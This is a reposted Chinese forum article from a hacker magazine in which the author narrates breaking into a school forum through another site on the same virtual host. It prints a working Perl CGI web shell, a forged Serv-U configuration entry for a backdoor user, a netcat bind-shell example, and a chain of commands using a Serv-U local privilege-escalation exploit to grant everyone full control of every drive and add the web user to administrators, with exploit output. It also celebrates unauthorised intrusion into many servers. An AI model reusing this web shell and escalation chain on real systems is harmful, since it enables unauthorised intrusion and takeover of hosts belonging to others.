找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2264|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 1 I  F0 k8 v6 x! T. q) ?
本文作者:angel
$ ~9 n% ]& U6 h文章性质:原创
; z$ q, r  U: x- y8 G1 J. H发布日期:2004-11-09
8 V- T) \5 z& E- y, x0 K0 h注意:
! u$ E& z9 x! \& j8 t本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
- C& ^, [  Q3 G! g) q5 y# E3 E本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。+ _) R, Z0 X5 W
& i5 t% i" X9 m0 d1 p! y
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
8 C# Q- }* W" e5 D  ^
4 H+ D. x) p. }: D0 ~% n/ E. B  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
& M& Q+ T8 @' Q. u
$ [1 A: j' ]6 K' K8 t  z0 U7 o  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ; D5 I' j  e7 p. d7 ?6 d" h9 l/ ^
( h, c9 ~6 a" u! i+ m& @. m
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 8 S+ d0 c% g" A! W" h

9 m6 {: u$ o9 f. C; k  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 $ |- Q4 ~- a) Y, K* |9 L: l
: C& x3 T' n* e; L
  没有目的的跳转目录着……
- X1 E) B2 [# z3 j- p2 [  l; S! r% L0 M" H
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 6 i' g1 V1 f! [* `" G) s  Y
* L5 i' [& W2 w- F: _1 F# J
  结束了吗?不,我试着 FTP 一下: 4 ?+ T8 N7 S! E; V5 a

% E' Q" I  U  T, xMicrosoft Windows 2000 [Version 5.00.2195]& m; f- i2 j: y6 L# |
(C) 版权所有 1985-2000 Microsoft Corp. - D: J0 C* \3 R4 c- G* \+ N* s( y

1 {2 R* z/ W3 }0 @C:\Documents and Settings\Administrator>ftp www.school.com8 G& b& c" }3 m+ j! k. B" Y' z/ m
Connected to www. school.com.
3 y2 s, a5 k- P8 `220 Welcome to FTP Server...
- {/ |) ]3 l! R$ e, i$ |3 oUser (www.bjtrq.com:(none)): 1 i; ?% a; B* F* T3 \/ P; D
331 User name okay, need password. + x  \, x. |: l
Password:
% z' c- x+ b# q$ x4 ?530 Not logged in.
/ j8 e  B; c, U" u$ X' g( |# l- T, A7 XLogin failed.
9 F- H! P; i9 i* pftp> bye $ K' g: C, |2 b1 M( L# {2 \9 k
221 Goodbye!
! {$ k9 A0 }7 n. }5 K 9 D% ?( Y: I3 i' g
' D3 [5 f$ ]1 d9 c, u. k
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ' v9 W7 F2 }8 U

1 c9 Z, m: _9 t8 G3 ^; @  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
* V5 p# W! G4 [/ c0 ~2 P2 P! V1 f- e
Application Data
- F1 s; f, U9 n* XDocuments. |7 m( s+ d, @
DRM
. o! p2 P, `( |, E( K! a/ R5 N: cFavorites
- |% A' g0 ^1 O4 A, F% ]: P+ TTemplates5 ~8 c8 T3 }2 F5 y' P
「开始」菜单3 @5 J; [: [3 e
桌面
# Q9 B6 w$ e/ H( _  t& o & O3 u- n: D' }+ b6 z

6 u& x5 O2 s$ X$ |  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
* S/ h5 L0 U1 ^# l7 f  }1 w9 L2 n1 E3 k9 e3 x, V
ActiveState ActivePerl 5.8, n; e$ B! @" \) O
Administrative Tools3 `3 z3 l# J2 J1 ^$ L
Deerfield.com* p( [/ `; w' _# y
DTemp/ V8 V- u- Y2 l
IPSentry
* w3 b- m; o; S3 v3 Y# v& tMBM 56 O$ O# ~( _, C; L
NetMeter, w1 u+ E" w0 R
Network ICE% A2 d, ?- W( h- F$ k
Persits Software AspEmail
% a0 `( h4 R9 {& g9 dPersits Software AspJpeg' M2 o% ?8 ]( |' w5 j0 B( \1 ?
Serv-U FTP Server" k& u' i4 `2 U1 Z7 e& L
Symantec Client Security# Z' _- z! p9 V. m
Windows 优化大师+ G" f4 `- Y0 V8 W
WinRAR
8 \& @5 ~6 Y, s: \: x启动
1 ~9 n4 g& w# E8 e5 L+ Q* C, g管理工具: Q& P7 Z- U! `) X
附件
( [  X- c7 S9 [9 k" g( W
- @6 c& o1 n& v/ f( x) h( j- z1 D4 W- k% T5 W& g1 C
  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
6 _& }; ]' q( t0 w; S: K
. s, n; e2 u+ d3 c, |  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: . M2 F/ U% D7 b

  f2 d! a, @, q* i- U7 s  |7 L- L. b' uUser281=angel|1|0 1 N2 D* X$ U6 v0 I& A3 |" S, X

" o% D* l; d5 F1 Q" q7 k
' v/ t" W- j# y2 y# Y# Q. X' @  然后加上   L* y+ \( J# f2 N7 L5 o

$ J3 I4 g& U* `+ U6 z" a. \2 l/ F[USER=angel|1]
( M) U: W, ^( G: l& }' Y" dPassword=ng98F85379EA68DBF97BAADCA99B69B805
* [/ x/ R; B5 l' }: QHomeDir=D:\websites' j, S0 l6 G3 j3 \0 a3 j3 t. j
RelPaths=1
' T! a  C4 W+ h: r6 GTimeOut=600# s3 _) t+ F- s" c& Q  W! m7 U4 p
Maintenance=System
' u5 F* n6 B( N3 s8 h! V# [Access1=D:\websites|RWAMELCDP! m6 k0 C/ f. g* S# l
SKEYValues=) v2 n8 z; [* y

1 [* G" l% ]% r- g2 y0 `- N2 `4 }7 ^6 Y7 A; g8 V+ i8 T( M  J1 C
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
1 C* {' z. a8 Z( C$ X2 d' R, H0 @
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
- }3 r1 G5 b9 U+ h
' k0 p4 n8 C& f& \  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 8 b+ Z( Y) j; S$ J4 e5 p1 R
+ J8 I6 `0 W; P- a6 @1 s/ C
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
% M4 w5 a8 p  j  j5 S9 T- C5 `- B6 f5 {& x; k% E3 y
#!/usr/bin/perl( v2 l1 {- X2 a  d0 p' Q5 S
binmode(STDOUT);
/ K9 y2 r" l8 p3 b# w, J: R  gsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' n/ g$ p+ e; L7 v& a- w$_ = $ENV{QUERY_STRING};
' F9 C+ A/ j+ {7 |7 e8 S9 Rs/%20/ /ig;
9 V0 I$ g7 v, k- i+ x8 ?5 e" T$ Ys/%2f/\//ig;
7 P* o, M0 v5 S9 c. \; @0 N$execthis = $_;
. `% J. m8 a7 L# w2 z: M2 |syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
! v' S, G2 X" W* @( copen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";3 T/ d* I- N4 ?* \6 B
system($execthis);. a; z. U" E# G2 P
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
, `& X4 l$ ]1 R( Y. `. M3 }close(STDERR);
+ H7 j- I! Y4 T/ y2 C# u; s7 aclose(STDOUT);
; E; H1 r# F+ L. eexit;
( h/ l! |$ ]: q. {# O. j# N5 G
# H( w. \$ Y2 F% m, g" b+ D& P- |' V. n, w4 U: Z0 a; p
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ! B* Q+ @5 N0 j, ?9 \$ f# o

8 `3 [7 H7 f& t2 v" L  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
& _( I& B" X" ?% \- n+ b! X& r
; W! [8 H! v4 R: [: whttp://anyhost//cmd.pl?d:\user\bin\su.exe
, E  {# y: ?$ U: I8 K; K
! E; u( z3 N, K# g- Q2 a3 T+ j
9 r4 e9 u/ I  h% W  返回:
# z" i2 C! C1 k1 A, ]' @$ ^
; i% f0 H8 v0 yServ-u >3.x Local Exploit by xiaolu " r3 ~$ y. r. ?

9 [: j$ Y3 g+ h4 [" V% B1 r/ n4 ?, rUSAGE: serv-u.exe "command"
9 {0 |7 f+ ?1 M3 C0 p8 w; z0 j0 x, _5 i' k' v/ d! r! ?
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
9 e( Z* `- {4 R0 l# N2 z 7 _* n% T1 d* z# n
. A5 {- D# j1 ^
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 3 \/ q( {. E4 n3 H# f) Y

. R3 f( A1 }% k2 e: P5 b: j; ^http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
5 J: {2 O/ H- S& X
" R1 @  ]; }: n" K/ L: Jhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" : d& ~& o) a$ P/ x) y% t' p

9 x5 U- M6 j) N1 o" B4 Rhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 6 a" r4 k6 B* @: V2 z% I9 F0 f

% h! y! j3 m" A; fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
, \) v  w; @* ?2 ~7 ? / Z( S1 d+ J) I) o5 T6 e: i
4 s3 [$ H. u5 t* c
  返回下面的信息,就表示成功了!!! # L3 j0 E* |5 @+ H' q& g7 {& n  a
) U7 r2 o( h1 A1 d2 q
Serv-u >3.x Local Exploit by xiaolu / S; o/ M& V4 r9 g9 k* t
5 i# k1 k8 h( T3 A
<220 Serv-U FTP Server v5.2 for WinSock ready...
: v5 q! x" O, K1 ~, m. D; [3 R) g& _; d; U4 F1 ^
>USER LocalAdministrator . k" _" T5 u1 v7 l

0 ]) {4 ?1 c/ \3 X9 U; j5 H  d' e2 \<331 User name okay, need password.
% @2 r& ?- h5 q8 B* R: H* G) u$ v% ~- Q, e0 `* O; g: i
******************************************************
3 ^" x+ a4 j6 B) W0 c6 _  _
( L0 e. O4 g/ |/ U: u>PASS #l@$ak#.lk;0@P
( `% n2 C5 r. D2 F6 C  A/ y# G
, ]8 \# O& c. U/ F( I, w3 \<230 User logged in, proceed. ' P5 X0 I4 y5 v% M+ p9 G

7 g2 e1 ?# Y- O  O. {+ Z******************************************************
9 o& m# w5 ^* y" ~. i2 p, R# ]9 T1 H% p! V/ ?- f" O, W! e6 b
>SITE MAINTENANCE # N# \. X. i$ C% j( {# B! }
7 r  Y1 I; `! S
******************************************************
+ H7 t1 U/ J" V2 j, D' _1 T# h
/ a) G& k/ g, {& j+ w. v# h$ {1 `[+] Creating New Domain...
, b2 v& k( a+ }+ Q3 l' g
2 X6 Q* l& c0 k* t& h) O<200-DomainID=2 3 j, x9 Q9 b4 l, f5 w2 L: R0 S' w
, F4 {$ F  P% K( W  W, j2 u
<220 Domain settings saved
1 `! k; {8 ]* I  L  W5 n& ]/ [* s* u, V4 X/ L+ K& L. f5 [
****************************************************** 2 O! T. \# I# S9 R( m0 X8 b" J
' X# i; l% |/ b
[+] Domain xl:2 Created * U, r, W3 i# \$ X- v
; x9 O8 W2 m( N" _+ K& g
[+] Creating Evil User
: R5 L4 H; x. D5 y+ u( M( u) V: F% `" G' l1 A- q# j
<200-User=xl 6 g: a. [6 X+ G$ f  F# P
0 ?3 M8 t3 B+ t( \
200 User settings saved ; W' O$ A- M' w1 E- h* n5 ~
9 Z, Z# S8 {; x* E; ]& f
******************************************************
1 z+ D1 w9 `/ ]$ C/ v( f& I  F/ l, X
, V& b& F3 w$ S1 L  A[+] Now Exploiting...
0 m/ _7 g) Q6 j6 y8 {' B$ \( p
- Z0 p- _1 h8 N" L2 a8 G8 R>USER xl ; h" C: q7 R( H! h+ I$ b+ F6 P
5 ~" {. ]& F" B- o9 V
<331 User name okay, need password. 8 f0 {& G6 l: P. W; Z* c
( b( v, j; N4 a
******************************************************
" b) c: R* n9 c5 [; m
; B5 Z$ s# l8 T7 q! [>PASS 111111
: z. p% i; f) l$ W" g5 j! h% s/ m- V- C$ D
<230 User logged in, proceed.
; w+ q. v' @$ E% U4 n* E# n( S2 a; H  v; \. l9 _* {! ^0 u
******************************************************
  T% o) w, P' Z2 X
. U6 K5 F" i! B* m  v[+] Now Executing: cacls.exe c: /E /T /G everyone:F
/ t& ]* n' K# C% m  y$ e& ]( C1 n( t" t# o$ _/ C+ E5 I' t. i  `
<220 Domain deleted ) a6 {* d3 R5 P2 w5 k

1 b/ z9 N6 K, \" M& ~8 \6 B****************************************************** ( C8 G* e' x4 z. A

! C. v8 i1 w/ K' v& T5 O/ G& b; p
0 P' t% E3 R6 ~; C) d% u  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
  U' h$ b+ r' W+ d4 q+ W# T- ~5 u2 d
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 0 K  d4 v  p$ [  \+ q
+ f7 N$ U. ~3 i
0 q9 W& a2 f" G, B: H
  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 0 C2 r: N2 M. i' B, t
& ?9 D  m6 P4 P! O& z
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
3 ^' f+ S! C' E% m
9 V7 \3 k+ C/ ?% {* V# R! p  
7 i% H' C" m( s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表